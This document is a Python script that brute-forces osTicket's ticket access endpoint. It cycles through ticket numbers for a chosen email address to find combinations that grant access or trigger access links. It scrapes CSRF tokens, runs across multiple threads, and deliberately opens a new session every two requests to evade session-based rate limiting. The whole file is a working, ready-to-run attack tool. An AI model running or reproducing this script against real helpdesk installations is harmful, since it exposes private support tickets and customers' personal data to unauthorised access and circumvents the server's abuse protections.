osticket_access_bruteforce.py

#!/usr/bin/env python3
"""
osTicket Ticket Access Link Brute Force Script
===============================================
Attempts to enumerate valid ticket number + email combinations by requesting
access links through the login.php endpoint.

Usage: python osticket_access_bruteforce.py <base_url> <email> [--start START] [--end END]
Example: python osticket_access_bruteforce.py http://localhost/osticket user@example.com --start 100000 --end 999999
"""

import re
import argparse
import time
import threading
from datetime import datetime
from queue import Queue
from urllib.parse import urljoin
import requests
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry
requests.packages.urllib3.disable_warnings()

class Colors:
    """ANSI color codes for terminal output"""
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKCYAN = '\033[96m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'

def print_banner():
    """Print script banner"""
    print(f"{Colors.HEADER}{Colors.BOLD}")
    print("=" * 70)
    print("osTicket Ticket Access Link Enumeration Script")
    print("=" * 70)
    print(f"{Colors.ENDC}")

def create_session():
    """Create a requests session with retry logic"""
    session = requests.Session()
    retry = Retry(total=3, backoff_factor=0.5, status_forcelist=[500, 502, 503, 504])
    adapter = HTTPAdapter(max_retries=retry)
    session.mount('http://', adapter)
    session.mount('https://', adapter)
    session.verify = False  # Ignore SSL certificate errors
    return session

def extract_csrf_token(content):
    """Extract __CSRFToken__ from HTML content"""
    match = re.search(r'name=["\']__CSRFToken__["\'][^>]*value=["\']([^"\']+)["\']', content)
    return match.group(1) if match else None

def check_ticket_access(base_url, email, ticket_number, session):
    """
    Attempts to request a ticket access link for a given ticket number and email.
    Returns (success: bool, message: str)
    
    Success indicators:
    - Response contains "access link sent to your email"
    - User is redirected to tickets.php (if email verification disabled)
    
    Failure indicators:
    - Response contains "Invalid email or ticket number"
    - Response contains "Access Denied"
    """
    login_url = urljoin(base_url, 'login.php')

    try:
        # 1. GET the login page to get a valid CSRF token
        resp_get = session.get(login_url)
        if resp_get.status_code != 200:
            return False, f"Failed to load login page (HTTP {resp_get.status_code})"

        csrf_token = extract_csrf_token(resp_get.text)
        if not csrf_token:
            return False, "Could not find CSRF token"

        # 2. POST the ticket access request
        payload = {
            '__CSRFToken__': csrf_token,
            'lticket': str(ticket_number),
            'lemail': email,
        }

        resp_post = session.post(login_url, data=payload, allow_redirects=False)
        response_content = resp_post.text

        # Check for success indicators
        if "access link sent to your email" in response_content.lower():
            return True, "Access link sent (email verification required)"
        
        # Check if redirected to tickets.php (immediate access granted)
        if resp_post.status_code in [301, 302, 303, 307, 308]:
            location = resp_post.headers.get('Location', '')
            if 'tickets.php' in location:
                return True, "Access granted (redirected to tickets.php)"

        # Check for explicit failure messages
        if "invalid email or ticket number" in response_content.lower():
            return False, "Invalid combination"
        
        if "access denied" in response_content.lower():
            return False, "Access denied"

        # Ambiguous response
        return False, "Unknown response (possibly rate limited or error)"

    except requests.RequestException as e:
        return False, f"Network error: {e}"

def main():
    parser = argparse.ArgumentParser(
        description='Enumerate valid ticket number + email combinations in osTicket.',
        epilog='Example: python ticket_access_bruteforce.py http://localhost/osticket user@example.com --start 100000 --end 100100'
    )
    parser.add_argument('base_url', help='Base URL of the osTicket installation (e.g., http://localhost/osTicket/upload)')
    parser.add_argument('email', help='Email address to test')
    parser.add_argument('--start', type=int, default=100000, help='Starting ticket number (default: 100000)')
    parser.add_argument('--end', type=int, default=999999, help='Ending ticket number (default: 999999)')
    parser.add_argument('--delay', type=float, default=0.5, help='Delay between requests in seconds (default: 0.5)')
    parser.add_argument('--threads', type=int, default=1, help='Number of concurrent threads (default: 1)')
    parser.add_argument('--no-color', action='store_true', help='Disable colored output')
    parser.add_argument('--output', '-o', help='Output file to log valid combinations')

    args = parser.parse_args()

    if args.no_color:
        for attr in dir(Colors):
            if not attr.startswith('_'):
                setattr(Colors, attr, '')

    base_url = args.base_url
    if not base_url.endswith('/'):
        base_url += '/'

    print_banner()
    print(f"Target:        {Colors.BOLD}{base_url}{Colors.ENDC}")
    print(f"Email:         {Colors.BOLD}{args.email}{Colors.ENDC}")
    print(f"Ticket Range:  {Colors.BOLD}{args.start} - {args.end}{Colors.ENDC}")
    print(f"Delay:         {Colors.BOLD}{args.delay}s{Colors.ENDC}")
    print(f"Threads:       {Colors.BOLD}{args.threads}{Colors.ENDC}")
    print()

    start_time = datetime.now()
    print(f"{Colors.OKCYAN}[*] Scan started at: {start_time.strftime('%Y-%m-%d %H:%M:%S')}{Colors.ENDC}")
    print()

    # Thread-safe counters and results
    valid_tickets = []
    valid_lock = threading.Lock()
    stats_lock = threading.Lock()
    stats = {'processed': 0, 'found': 0}
    
    # Create work queue
    work_queue = Queue()
    for ticket_number in range(args.start, args.end + 1):
        work_queue.put(ticket_number)
    
    total = args.end - args.start + 1

    def worker():
        """Worker thread function - processes 2 tickets per session"""
        
        # Each worker maintains its own session and processes 2 requests with it
        session = None
        requests_in_session = 0
        
        while True:
            try:
                ticket_number = work_queue.get_nowait()
            except:
                break
            
            # Create a fresh session every 2 requests to bypass session-based rate limiting
            if session is None or requests_in_session >= 2:
                session = create_session()
                requests_in_session = 0
            
            success, message = check_ticket_access(base_url, args.email, ticket_number, session)
            requests_in_session += 1
            
            with stats_lock:
                stats['processed'] += 1
                processed = stats['processed']
                
                if success:
                    stats['found'] += 1
                    found = stats['found']
                    
                    with valid_lock:
                        valid_tickets.append((ticket_number, message))
                    
                    print(f"{Colors.OKGREEN}[+] VALID:{Colors.ENDC} Ticket #{ticket_number} - {message}")
                    
                    # Log to output file if specified
                    if args.output:
                        with open(args.output, 'a') as f:
                            f.write(f"{ticket_number},{args.email},{message}\n")
                else:
                    found = stats['found']
                    # Only print every 100th failure to reduce noise
                    if processed % 100 == 0:
                        print(f"{Colors.OKCYAN}[i] Progress: {processed}/{total} tested, {found} valid found{Colors.ENDC}")
            
            # Rate limiting
            time.sleep(args.delay)
            work_queue.task_done()

    # Start worker threads
    threads = []
    for i in range(args.threads):
        t = threading.Thread(target=worker)
        t.start()
        threads.append(t)

    # Wait for all threads to complete
    for t in threads:
        t.join()

    end_time = datetime.now()
    duration = end_time - start_time
    
    print()
    print(f"{Colors.OKCYAN}[*] Scan completed at: {end_time.strftime('%Y-%m-%d %H:%M:%S')}{Colors.ENDC}")
    print(f"{Colors.OKCYAN}[*] Total duration: {duration}{Colors.ENDC}")
    print()
    print(f"{Colors.OKBLUE}[*] Scan complete.{Colors.ENDC}")
    print(f"    Total tested: {stats['processed']}")
    print(f"    Valid found:  {stats['found']}")
    
    if valid_tickets:
        print()
        print(f"{Colors.OKGREEN}Valid ticket numbers:{Colors.ENDC}")
        # Sort by ticket number for cleaner output
        valid_tickets.sort(key=lambda x: x[0])
        for ticket_num, msg in valid_tickets:
            print(f"  - Ticket #{ticket_num}: {msg}")
        
        if args.output:
            print()
            print(f"{Colors.OKCYAN}Results saved to: {args.output}{Colors.ENDC}")

if __name__ == '__main__':
    main()